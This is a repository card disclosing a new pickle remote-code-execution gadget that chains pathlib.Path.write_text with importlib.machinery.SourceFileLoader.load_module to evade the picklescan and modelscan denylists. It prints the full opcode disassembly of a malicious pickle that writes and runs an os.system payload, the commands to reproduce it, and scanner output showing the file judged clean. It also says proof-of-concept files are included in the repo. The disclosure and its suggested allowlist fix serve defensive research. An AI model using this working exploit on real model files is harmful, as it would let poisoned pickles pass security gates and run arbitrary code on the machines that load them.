YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
- NEW pickle RCE gadget:
pathlib.Path.write_text+importlib.machinery.SourceFileLoader.load_module
NEW pickle RCE gadget: pathlib.Path.write_text + importlib.machinery.SourceFileLoader.load_module
Category: Pickle deserialization RCE / model-scanner denylist bypass (new, unlisted GLOBAL gadget)
Runtime verified: CPython 3.13.12; via pickle.load and joblib.load (joblib 1.5.2)
Scanners bypassed: picklescan 1.0.5, modelscan 0.8.8 (both report the file as not-infected / no-issues)
Summary
picklescan (1.0.5) and modelscan (0.8.8) are opcode-denylist scanners: they walk the
GLOBAL / STACK_GLOBAL (module, name) pairs in a pickle stream and match them against a
hardcoded list of unsafe callables. This gadget is self-contained and references only two
callables that appear in neither denylist:
pathlib.Path.write_textβ the pickle uses it to write its own payload.pymodule to disk. The payload source (containingimport os/os.system(...)) rides through the stream as a SHORT_BINUNICODE string constant that becomes the file's content β it is never aGLOBALopcode, so no scanner ever seesos/system.importlib.machinery.SourceFileLoader.load_moduleβ imports + executes that file on disk, reaching arbitrary code execution.
Both callables are always-present stdlib (no optional package dependency). An equivalent
variant is importlib.util.spec_from_file_location + module_from_spec + exec_module.
Root cause (verified by dumping both denylists)
Neither pathlib nor importlib.machinery (nor SourceFileLoader) is present in either
scanner's unsafe-global list. Dumped live from the installed packages:
# picklescan 1.0.5 β picklescan.scanner._unsafe_globals (dict, keyed by module)
picklescan _unsafe_globals type: dict
pathlib present: False
importlib present: False
SourceFileLoader present: False
modules listed: ['__builtin__', '_aix_support', '_io', '_operator', '_osx_support', '_pickle',
'_pyrepl', 'aiohttp', 'asyncio', 'bdb', 'builtins', 'cProfile', 'cloudpickle.cloudpickle',
'code', 'commands', 'ctypes', 'distutils.file_util', 'doctest', 'ensurepip', 'functools',
'httplib', 'idlelib.*', 'imaplib', 'lib2to3.*', 'logging', 'nt', 'numpy.f2py', 'operator',
'os', 'pdb', 'pickle', 'pip', 'pkgutil', 'posix', 'profile', 'pty', 'pydoc',
'requests.api', 'runpy', 'shutil', 'socket', 'ssl', 'subprocess', 'sys', 'test', 'timeit',
'torch.*', 'trace', 'types', 'urllib.request', 'uuid', 'venv', 'webbrowser']
# modelscan 0.8.8 β modelscan.settings.DEFAULT_SETTINGS (CRITICAL/HIGH/MEDIUM/LOW)
modelscan pathlib present: False
modelscan importlib present: False
modelscan SourceFileLoader present: False
Because the denylist only enumerates os, posix, subprocess, runpy, builtins, etc.,
a file-write-then-source-load chain through pathlib + importlib.machinery slips past both.
Opcode flow (protocol 4, STACK_GLOBAL with dotted qualnames)
write_text = STACK_GLOBAL pathlib "Path.write_text"
pathobj = REDUCE(STACK_GLOBAL pathlib "Path", (PYPATH,))
_ = REDUCE(write_text, (pathobj, PAYLOAD_SRC)); POP # writes _evilmod.py
load_module= STACK_GLOBAL importlib.machinery "SourceFileLoader.load_module"
loader = REDUCE(STACK_GLOBAL importlib.machinery "SourceFileLoader", ("evilmod", PYPATH))
REDUCE(load_module, (loader,)) # -> imports+executes the written module -> RCE
STOP
Unpickler.find_class resolves the dotted qualnames (Path.write_text,
SourceFileLoader.load_module) via attribute traversal, yielding the unbound functions,
which REDUCE then invokes with an explicit self (the Path / SourceFileLoader instance).
Verbatim pickletools.dis of the 555-byte evil.pkl:
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'pathlib'
11: \x8c SHORT_BINUNICODE 'Path.write_text'
28: \x93 STACK_GLOBAL
29: \x8c SHORT_BINUNICODE 'pathlib'
38: \x8c SHORT_BINUNICODE 'Path'
44: \x93 STACK_GLOBAL
45: \x8c SHORT_BINUNICODE '/.../_evilmod.py'
118: \x85 TUPLE1
119: R REDUCE
120: \x8c SHORT_BINUNICODE "import os\nos.system('id > .../PWNED_sourcefileloader ...')\n"
373: \x86 TUPLE2
374: R REDUCE
375: 0 POP
376: \x8c SHORT_BINUNICODE 'importlib.machinery'
397: \x8c SHORT_BINUNICODE 'SourceFileLoader.load_module'
427: \x93 STACK_GLOBAL
428: \x8c SHORT_BINUNICODE 'importlib.machinery'
449: \x8c SHORT_BINUNICODE 'SourceFileLoader'
467: \x93 STACK_GLOBAL
468: \x8c SHORT_BINUNICODE 'evilmod'
477: \x8c SHORT_BINUNICODE '/.../_evilmod.py'
550: \x86 TUPLE2
551: R REDUCE
552: \x85 TUPLE1
553: R REDUCE
554: . STOP
highest protocol among opcodes = 4
Reproduce
python3 gen_poc.py # builds evil.pkl / evil.joblib + control_os.pkl
python3 -c "import pickle; pickle.load(open('evil.pkl','rb'))" # -> writes PWNED_sourcefileloader
scan_verify/bin/python -m picklescan -p evil.pkl # picklescan 1.0.5, py3.13 -> Infected 0 (CLEAN)
scan312/bin/modelscan -p evil.pkl # modelscan 0.8.8, py3.12 -> "No issues found!"
gen_poc.py, evil.pkl (555 bytes), evil.joblib, control_os.pkl, and _evilmod.py
(the payload module written at unpickle time) are included in this repo.
Verified captured evidence (verbatim)
EXECUTE β pickle.load on CPython 3.13.12, and joblib.load 1.5.2 (identical marker)
Contents of PWNED_sourcefileloader after each load:
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
importlib_sourcefileloader_gadget_executed
PICKLESCAN 1.0.5 (py3.13) β evil.pkl β CLEAN
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 4
Dangerous globals: 0
(exit=0 β CLEAN; "suspicious" is non-blocking, the verdict is not infected.)
MODELSCAN 0.8.8 (py3.12) β evil.pkl AND evil.joblib β CLEAN
Scanning evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
(exit=0 for both files.)
NEGATIVE CONTROL β control_os.pkl (posix.system reduce) β both scanners flag it
picklescan:
control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
modelscan:
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Description: Use of unsafe operator 'system' from module 'posix'
Both scanners correctly flag the control (exit=1 for modelscan), proving the detection
pipeline works and that the clean verdict on evil.pkl is a genuine bypass, not a broken run.
Impact
A malicious .pkl / .joblib (or any pickle-backed model artifact β e.g. joblib/sklearn,
numpy allow_pickle, torch legacy) that passes a picklescan- or modelscan-based CI/registry
gate as clean, yet achieves arbitrary command execution the moment it is deserialized. Both
scanners are widely deployed as the "safety check" in front of model hubs and MLOps pipelines,
so the bypass defeats the primary automated defense for untrusted model files.
Suggested fix
Denylists cannot enumerate every dangerous stdlib callable. pathlib.Path.write_text /
write_bytes, importlib.machinery.SourceFileLoader / SourcelessFileLoader,
importlib.util.spec_from_file_location / module_from_spec / exec_module, and
importlib.import_module are all file-write / import primitives that must be treated as
unsafe. More robustly, prefer an allowlist of known-safe globals (as
weights_only-style loading does) rather than a denylist.
Dedup / prior-art note
- Distinct from classic
os.system/posix.system/subprocess/builtins.eval/builtins.execreduces β those modules are in both denylists and are flagged (see the negative control). - Distinct from prior
nt/runpy/pydoc/webbrowsergadgets already in picklescan's list. - Distinct from other gadgets in sibling PoCs (logging.config, typing.get_type_hints,
marshal+FunctionType, doctest, codeop, dataclasses, code.InteractiveInterpreter,
pydoc.pipepager, spawnv, getattr_static): those use different unlisted callables. This one is
the
pathlib.write_text+importlib.machinery.SourceFileLoader.load_modulewrite-then-source-load chain, in which the code-exec primitive (os.system) never appears as a GLOBAL at all β it is carried purely as a string constant. - No CVE currently assigned to
pathlib/importlib.machineryas a picklescan/modelscan bypass gadget as of the test date (2026-07-16).